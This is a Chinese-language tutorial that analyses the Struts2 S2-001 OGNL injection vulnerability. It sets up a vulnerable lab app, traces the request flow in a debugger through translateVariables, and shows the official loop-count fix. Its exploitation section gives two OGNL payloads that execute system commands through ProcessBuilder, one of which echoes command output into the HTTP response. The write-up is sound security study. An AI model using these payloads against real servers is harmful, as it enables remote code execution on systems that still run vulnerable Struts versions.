环境搭建: idea新建项目->maven-archetype->选择org.apache.maven.archetypes:maven-archetype-webapp->创建
创建后要等几秒种等待加载好目录
pom.xml导入依赖:
1 2 3 4 5 <dependency> <groupId>org.apache.struts</groupId> <artifactId>struts2-core</artifactId> <version>2.0.8</version> </dependency>
web.xml配置struts2的过滤器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <web-app> <display-name>S2-001 Example</display-name> <filter> <filter-name>struts2</filter-name> <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class> </filter> <filter-mapping> <filter-name>struts2</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <welcome-file-list> <welcome-file>index.jsp</welcome-file> </welcome-file-list> </web-app>
然后在main下添加java源目录
然后在java目录下创建类 com.test.s2001.action.LoginAction
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 package com.test.s2001.action; import com.opensymphony.xwork2.ActionSupport; public class LoginAction extends ActionSupport{ private String username = null; private String password = null; public String getUsername() { return this.username; } public String getPassword() { return this.password; } public void setUsername(String username) { this.username = username; } public void setPassword(String password) { this.password = password; } public String execute() throws Exception { if ((this.username.isEmpty()) || (this.password.isEmpty())) { return "error"; } if ((this.username.equalsIgnoreCase("admin")) && (this.password.equals("admin"))) { return "success"; } return "error"; } }
修改webapp目录下的index.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-001</title> </head> <body> <h2>S2-001 Demo</h2> <s:form action="login"> <s:textfield name="username" label="username" /> <s:textfield name="password" label="password" /> <s:submit></s:submit> </s:form> </body> </html>
webapp目录下新建welcome.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@ taglib prefix="s" uri="/struts-tags" %> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>S2-001</title> </head> <body> <p>Hello <s:property value="username"></s:property></p> </body> </html>
main目录下创建一个resources 文件夹,内部添加一个 struts.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd"> <struts> <package name="S2-001" extends="struts-default"> <action name="login" class="com.test.s2001.action.LoginAction"> <result name="success">welcome.jsp</result> <result name="error">index.jsp</result> </action> </package> </struts>
最后就是配置一个tomcat环境
然后记得要部署工件,下方会有自动提示,点修复 即可
这样整个配置流程就结束了,然后运行tomcat看一下效果
submit
OGNL表达式基础 漏洞复现 漏洞影响范围 WebWork 2.1 (with altSyntax enabled)
WebWork 2.2.0 - WebWork 2.2.5
Struts 2.0.0 - Struts 2.0.8
Struts2 对 OGNL 表达式的解析使用了开源组件 opensymphony.xwork 2.0.3 所以会有漏洞
流程分析 先说一下Struts2 的执行流程
首先就是我们在配置web.xml的时候是设置了一个filter过滤器,并且还配置/* 全部的路由,这里全部路由就是交给 struts2 来处理
Interceptor-stack:执行拦截器,应用程序通常会在拦截器中实现一部分功能。也包括在 struts-core 包中 struts-default.xml 文件配置的默认的一些拦截器。
配置Action:根据访问路径,找到处理这个请求对应的 Action 控制类,通常配置在 struts.xml 中的 package 中
最后由 Action 控制类执行请求的处理,执行结果可能是视图文件,可能是去访问另一个 Action,结果通过 HTTPServletResponse 响应
在我们配置的filter过滤器中的dofilter主要做了以下业务:
设置编码和本地化信息
创建 ActionContext 对象
分配当前线程的分发器
将request对象进行封装
获取 ActionMapping 对象, ActionMapping 对象对应一个action详细配置信息
执行 Action 请求, 也就是 serviceAction() 方法
所以我们跟进FilterDispatcher中在dofilter处下个断点
然后我们一直下一步,下一步直到看到serviceAction() 方法(中间的过程就是一些判断和赋值,不是重点)
然后我们跟进serviceAction方法中,分析一下这段代码
首先就是获取当前请求是否已经有ValueStack 对象,这样是为了在接收到chain跳转方式的请求时候,可以直接接管上次请求的action。
如果没有ValueStack 对象的话,就获取当前线程中的ActionContext对象;如果有 ValueStack 对象,将事先处理好的请求中的参数 put 到 ValueStack 中,接着获取 ActionMapping 中配置的 namespace, name, method 值
继续获取到namespace, name, method 值之后,ActionProxyFactory 的 createActionProxy()方法初始化了一个actionproxy,同时也创建了StrutsActionProxy 的实例,它是继承自com.opensymphony.xwork2.DefaultActionProxy 的, 在这个代理对象内部实际上就持有了DefaultActionInvocation 的一个实例
DefaultActionInvocation 对象中保存了 Action 调用过程中需要的一切信息
然后我们继续跟,发现到了proxy.execute()方法中去,发现就是获取了一下上下文,并且用setter方法赋值上下文
我们继续跟到invoke中去
在invoke方法中,首先会使用迭代器顺序的递归执行当前action中配置的所有拦截器,一直持续到拦截器全都遍历完之后调用真正的action,这里的迭代器是struts2 包内的 struts-default.xml 里面的 interceptors 标签中的内容
而在这么多迭代器中有有一个param迭代器是用来处理我们输入的参数的,看到这里就想到这里会不会就有OGNL表达式的处理,因为该漏洞的本质就是OGNL
表达式的调用
在所有迭代器都执行完之后,就到了invokeActionOnly方法中,跟进去看一下,发现调用了invokeAction方法,我们跟进去
发现通过反射调用执行了action实现类里的execute方法,开始处理用户的逻辑信息
现在回到invoke方法中,invokeActionOnly之后,然后我们跟到executeResult()中去
看代码。首先就是createResult()创建了一个result对象,后面会去判断result是否为空,不为空的话去执行execute(从图片中也可以看出result不为空),所以跟进execute
execute中还有个doExecute(),继续跟进
看代码,首先准备执行环境,request, pageContext 等之后,会发送真正的响应信息,这时候我们调试发现返回的结果是jsp文件
下面的调试是无法在上面的过程中跟入的,需要自己找到ComponentTagSupport包,然后下断点调试
然后的话就会调用jspservlet来处理请求,当在解析标签的时候,会分别对标签的开始和结束位置调用org.apache.struts2.views.jsp.ComponentTagSupport 中的 doStartTag()(一些初始化操作) 及 doEndTag() (标签解析后调用end方法)方法
而在doendtag方法中的end方法就是我们今天的主角,也就是漏洞触发的地方,我们跟进去,在跟进evaluateParams() 方法中去
然后在这个方法中往下找到altSyntax参数(大概在305行左右,根据个人情况而定),这里由于altSyntax是默认开启的,所以代码会跳到addParameter处执行findvalue方法寻找参数值
在此处我们也可以看到expr参数就是会将username拼接到%{}中去,本来这样如果我们输入恶意payload:%{2*2}是无法被解析的,问题就出在后面的处理
我们跟到findvalue中,再跟到translateVariables中去
我们往下面看,会发现此处会将expr参数首尾的{和}去掉赋值给var参数,然后紧接着就是findvalue将获取到的username参数(也就是我们上方的%{2*2})赋值给o,然后会再次赋值给expression,这时检测到还是ognl表达式,就会再一次进入循环,这时候的结果就是4,并再次赋值o->expression,这时候检测到不是ognl表达式就不会进入循环,最终造成了s2-001漏洞
漏洞利用 1 2 3 %{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()} %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd","-c","clac"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
漏洞修复 官方给出的漏洞修复就是多了一段判断循环次数的代码,从而在解析到 %{1+1} 的
时候不会继续向下递归
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) { // deal with the "pure" expressions first! //expression = expression.trim(); Object result = expression; int loopCount = 1; int pos = 0; while (true) { int start = expression.indexOf(open + "{", pos); if (start == -1) { pos = 0; loopCount++; start = expression.indexOf(open + "{"); } //修复处 if (loopCount > maxLoopCount) { // translateVariables prevent infinite loop / expression recursive evaluation break; } int length = expression.length(); int x = start + 2; int end; char c; int count = 1; while (start != -1 && x < length && count != 0) { c = expression.charAt(x++); if (c == '{') { count++; } else if (c == '}') { count--; } } end = x - 1; if ((start != -1) && (end != -1) && (count == 0)) { String var = expression.substring(start + 2, end); Object o = stack.findValue(var, asType); if (evaluator != null) { o = evaluator.evaluate(o); } String left = expression.substring(0, start); String right = expression.substring(end + 1); String middle = null; if (o != null) { middle = o.toString(); if (!TextUtils.stringSet(left)) { result = o; } else { result = left + middle; } if (TextUtils.stringSet(right)) { result = result + right; } expression = left + middle + right; } else { // the variable doesn't exist, so don't display anything result = left + right; expression = left + right; } pos = (left != null && left.length() > 0 ? left.length() - 1: 0) + (middle != null && middle.length() > 0 ? middle.length() - 1: 0) + 1; pos = Math.max(pos, 1); } else { break; } } return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType); }
参考文章 https://drun1baby.top/2022/10/27/Java-Struts2-%E7%B3%BB%E5%88%97-S2-001/#0x01-%E5%89%8D%E8%A8%80
https://drun1baby.top/2022/11/02/Java-Struts2-%E5%AD%A6%E4%B9%A0%E4%B8%8E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/#0x04-OGNL-%E8%A1%A8%E8%BE%BE%E5%BC%8F